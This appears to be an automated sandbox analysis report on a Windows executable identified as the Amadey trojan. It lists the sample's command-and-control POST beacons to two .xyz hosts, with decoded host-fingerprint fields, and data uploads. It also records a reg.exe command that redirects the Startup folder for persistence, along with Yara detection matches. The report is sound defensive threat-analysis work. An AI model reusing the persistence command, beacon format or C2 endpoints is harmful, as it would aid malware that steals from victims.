Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7Host: web.jsonpost.xyzContent-Length: 98018Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7Host: web.jsonpost.xyzContent-Length: 98018Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----edaa48f9ea7e20f29ead8fcbe5fb1f54Host: web.jsonpost.xyzContent-Length: 98554Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----b3714476196bb616692c6ded08e7aac7Host: web.jsonpost.xyzContent-Length: 97961Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /sj2vMs/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: web.jsonpost.xyzContent-Length: 82Cache-Control: no-cacheData Raw: 69 64 3d 31 35 32 31 32 32 34 36 31 32 32 36 26 76 73 3d 32 2e 37 31 26 73 64 3d 39 39 34 35 39 61 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152122461226&vs=2.71&sd=99459a&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0

Source: Joe Sandbox View

IP Address: 72.52.178.23 72.52.178.23

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\S7AGd447vH.exe

Code function: 0_2_0040700B WriteFile,WriteFile,InternetReadFile,CloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_0040700B

Source: global traffic	DNS traffic detected: DNS query: web.jsonpost.xyz
Source: global traffic	DNS traffic detected: DNS query: web.xmlpost.xyz

Source: unknown

HTTP traffic detected: POST /sj2vMs/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----1ecb6449b11250019f89ed10f8ec15d7Host: web.jsonpost.xyzContent-Length: 98005Cache-Control: no-cache

Source: dllhost.exe, 00000001.00000003.2074636370.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806281208.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1775452885.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.2074557062.0000000023B84000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.2074756510.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.jsonpost.xyz/sj2vMs/index.php
Source: dllhost.exe, 00000001.00000003.1986592314.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.jsonpost.xyz/sj2vMs/index.php#
Source: dllhost.exe, 00000001.00000003.1872056759.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.2074756510.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.jsonpost.xyz/sj2vMs/index.php?scr=1
Source: dllhost.exe, 00000001.00000003.2074636370.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.jsonpost.xyz/sj2vMs/index.php?scr=1#
Source: dllhost.exe, 00000001.00000003.1833879370.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1817745095.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806321286.00000000008C9000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.jsonpost.xyz/sj2vMs/index.php?scr=1G
Source: dllhost.exe, 00000001.00000003.1986578008.0000000000912000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.jsonpost.xyz/sj2vMs/index.php?scr=1RE
Source: dllhost.exe, 00000001.00000003.1833879370.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806321286.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1817745095.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.00000000008E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.jsonpost.xyz/sj2vMs/index.phpQ
Source: dllhost.exe, 00000001.00000003.1986592314.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.2074699978.0000000000911000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.2074636370.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.jsonpost.xyz/sj2vMs/index.phpded
Source: dllhost.exe, 00000001.00000003.1833879370.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1833879370.00000000008E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.jsonpost.xyz/sj2vMs/index.phpncoded
Source: dllhost.exe, 00000001.00000003.1806307598.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806281208.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.jsonpost.xyz/sj2vMs/index.phpncodedY
Source: dllhost.exe, 00000001.00000003.1833879370.00000000008E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xQ
Source: dllhost.exe, 00000001.00000003.2074699978.0000000000911000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.2074636370.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpo
Source: dllhost.exe, 00000001.00000003.1776075882.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1817713247.00000000008F7000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1833879370.00000000008E0000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.2074699978.0000000000911000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.2074636370.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.00000000008E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.x
Source: dllhost.exe, 00000001.00000003.1871896347.000000000090A000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.php
Source: dllhost.exe, 00000001.00000003.1775452885.00000000008C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.php(
Source: dllhost.exe, 00000001.00000003.1871951511.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.php)
Source: dllhost.exe, 00000001.00000003.1871951511.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.php/
Source: dllhost.exe, 00000001.00000003.1871951511.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.php:
Source: dllhost.exe, 00000001.00000003.2074756510.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.php?scr=1
Source: dllhost.exe, 00000001.00000003.2074756510.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.php?scr=16H
Source: dllhost.exe, 00000001.00000003.1871951511.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.phpC
Source: dllhost.exe, 00000001.00000003.1806321286.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.phpC:
Source: dllhost.exe, 00000001.00000003.1806307598.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806281208.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.phpD
Source: dllhost.exe, 00000001.00000003.1833879370.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806321286.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.phpD5A8D8D892DAAFDE
Source: dllhost.exe, 00000001.00000003.1817745095.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806321286.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1872056759.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.phpD5A8D8D892DAAFDEetCookiesW3
Source: dllhost.exe, 00000001.00000003.2074756510.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.phpD5A8D8D892DAAFDEg3y
Source: dllhost.exe, 00000001.00000003.1872056759.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.phpD5A8D8D892DAAFDEg4y
Source: dllhost.exe, 00000001.00000003.1817745095.000000000088D000.00000004.00000020.00020000.00000000.sdmp, dllhost.exe, 00000001.00000003.1806321286.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.phpD5A8D8D892DAAFDEs
Source: dllhost.exe, 00000001.00000003.1833860453.00000000008F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.phpR
Source: dllhost.exe, 00000001.00000003.1871951511.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.phpg
Source: dllhost.exe, 00000001.00000003.2074756510.000000000088D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.phpgW
Source: dllhost.exe, 00000001.00000003.1776075882.00000000008E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/index.phpv
Source: dllhost.exe, 00000001.00000003.1776075882.00000000008E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.xmlpost.xyz/sj2vMs/inl

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.3.dllhost.exe.2204848.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 1.3.dllhost.exe.2204848.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 0.3.S7AGd447vH.exe.914800.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 0.3.S7AGd447vH.exe.914800.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 7.3.dllhost.exe.22244848.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 7.3.dllhost.exe.22244848.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 1.3.dllhost.exe.2243e58.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 1.3.dllhost.exe.2243e58.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 1.3.dllhost.exe.604800.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 1.3.dllhost.exe.604800.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 0.3.S7AGd447vH.exe.2224848.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 0.3.S7AGd447vH.exe.2224848.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 1.3.dllhost.exe.604800.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 1.3.dllhost.exe.604800.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 7.3.dllhost.exe.22283e58.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 7.3.dllhost.exe.22283e58.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 7.3.dllhost.exe.634800.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 7.3.dllhost.exe.634800.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 0.2.S7AGd447vH.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 0.2.S7AGd447vH.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 0.3.S7AGd447vH.exe.2263e58.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 0.3.S7AGd447vH.exe.2263e58.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 0.3.S7AGd447vH.exe.914800.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 0.3.S7AGd447vH.exe.914800.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 0.3.S7AGd447vH.exe.2263e58.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 0.3.S7AGd447vH.exe.2263e58.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 7.3.dllhost.exe.634800.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 7.3.dllhost.exe.634800.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 1.3.dllhost.exe.2243e58.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 1.3.dllhost.exe.2243e58.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 1.3.dllhost.exe.2204848.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 1.3.dllhost.exe.2204848.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 0.3.S7AGd447vH.exe.2224848.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 0.3.S7AGd447vH.exe.2224848.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 7.2.dllhost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 7.2.dllhost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 7.3.dllhost.exe.22283e58.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 7.3.dllhost.exe.22283e58.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 7.3.dllhost.exe.22244848.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 7.3.dllhost.exe.22244848.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 00000001.00000003.1748937794.0000000000600000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 00000007.00000003.1819904387.0000000022241000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 00000000.00000003.1704095067.0000000000910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 00000007.00000002.1820165445.0000000000428000.00000004.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 00000007.00000002.1820138863.0000000000401000.00000020.00000001.01000000.00000005.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 00000007.00000003.1818805602.0000000000630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 00000000.00000003.1704876629.0000000002221000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: 00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_7abb059b Author: unknown
Source: 00000001.00000003.1749767253.0000000002201000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: Process Memory Space: S7AGd447vH.exe PID: 7524, type: MEMORYSTR	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: Process Memory Space: dllhost.exe PID: 7608, type: MEMORYSTR	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown
Source: Process Memory Space: dllhost.exe PID: 7856, type: MEMORYSTR	Matched rule: Windows_Trojan_Amadey_c4df8d4a Author: unknown

Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_7FE42233 GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,NtQueryInformationProcess,GetModuleHandleA,GetProcAddress,	0_2_7FE42233
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_7FE422AA NtQueryInformationProcess,	0_2_7FE422AA
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 7_2_7FE42233 GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,NtQueryInformationProcess,GetModuleHandleA,GetProcAddress,	7_2_7FE42233
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 7_2_7FE422AA NtQueryInformationProcess,	7_2_7FE422AA

Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_3_00580665	0_3_00580665
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_004200E8	0_2_004200E8
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_004230A7	0_2_004230A7
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_004242FD	0_2_004242FD
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_004252B0	0_2_004252B0
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_00403360	0_2_00403360
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_0041FC50	0_2_0041FC50
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_00414597	0_2_00414597
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_00422F87	0_2_00422F87
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: 0_2_7FE4260F	0_2_7FE4260F
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 1_3_005F0665	1_3_005F0665
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 7_3_004E0665	7_3_004E0665
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 7_2_7FE4260F	7_2_7FE4260F
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 11_2_00406FE4	11_2_00406FE4
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 11_2_00405CE4	11_2_00405CE4
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 11_2_004075E4	11_2_004075E4
Source: C:\Users\user\AppData\Local\Temp\3e5d740863\dllhost.exe	Code function: 11_2_004056E4	11_2_004056E4

Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: String function: 00411030 appears 39 times
Source: C:\Users\user\Desktop\S7AGd447vH.exe	Code function: String function: 0040FC60 appears 102 times

Source: S7AGd447vH.exe, 00000000.00000002.1708672598.00000000005CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs S7AGd447vH.exe
Source: S7AGd447vH.exe, 00000000.00000003.1704342589.000000002293D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs S7AGd447vH.exe
Source: S7AGd447vH.exe, 00000000.00000003.1704573003.000000002266E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCOMBASE.DLLj% vs S7AGd447vH.exe
Source: S7AGd447vH.exe, 00000000.00000003.1704708297.0000000022B42000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCOMBASE.DLLj% vs S7AGd447vH.exe
Source: S7AGd447vH.exe, 00000000.00000003.1704234456.0000000022787000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs S7AGd447vH.exe
Source: S7AGd447vH.exe, 00000000.00000000.1663041864.0000000000464000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamedllhost.exej% vs S7AGd447vH.exe
Source: S7AGd447vH.exe	Binary or memory string: OriginalFilenamedllhost.exej% vs S7AGd447vH.exe

Source: S7AGd447vH.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\3e5d740863\

Source: 1.3.dllhost.exe.2204848.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Amadey_7abb059b reference_sample = 33e6b58ce9571ca7208d1c98610005acd439f3e37d2329dae8eb871a2c4c297e, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Amadey, fingerprint = 686ae7cf62941d7db051fa8c45f0f7a27440fa0fdc5f0919c9667dfeca46ca1f, id = 7abb059b-4001-4eec-8185-1e0497e15062, last_modified = 2021-08-23
